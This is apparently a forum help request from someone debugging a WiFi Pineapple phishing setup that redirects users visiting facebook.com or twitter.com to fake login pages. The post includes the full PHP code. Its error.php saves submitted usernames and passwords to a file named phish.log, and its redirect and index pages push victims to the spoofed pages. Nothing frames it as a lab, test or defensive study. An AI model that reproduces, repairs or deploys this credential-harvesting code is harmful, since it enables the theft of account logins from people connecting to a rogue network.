so if I go to facebook.com or twitter.com i get stuck on redirect pages. even after clearing all cache if I goto twitter.com i get redirected to facebook.com/redirect.php with a blank page.
here is what my redirect .php looks like
<?php
$ref = $_SERVER['HTTP_REFERER'];if (strpos($ref, "facebook")) { header('Location: facebook.html'); }if (strpos($ref, "twitter")) { header('Location: twitter.html'); }require('error.php');?>
now if i change line 8 "require('error.php');" to an html page of my choosing "require('twitter.html');" i wont get stuck at redirect.php instead it loads twitter.html and keeps the appropriate url "*.com/redirect.php"
any clues ????
here is my error.php.
<?php
$ref = $_SERVER['HTTP_REFERER'];
$today = date("F j, Y, g:i a");
if (isset($_POST['name']) && !empty($_POST['name'])) {
$nam = stripslashes($_POST['name']);
$pas = stripslashes($_POST['pass']);
$nam = htmlspecialchars($nam, ENT_QUOTES);
$pas = htmlspecialchars($pas, ENT_QUOTES);
$content = $today . " -- " . $ref . " -- " . $nam . " -- " . $pas;
$filed = @fopen("/pineapple/logs/phish.log", "a+");
@fwrite($filed, "$content\n");
@fclose($filed);
}
?>
<html><head>
<script type="text/javascript">
function goBack()
{
window.history.back()
}
</script>
</head>
<body onload="goBack()">
</body></html>
and index.php
<html>
<head>
<meta http-equiv="REFRESH" content="0;url=redirect.php">
</head>
<body>
</body>
</html>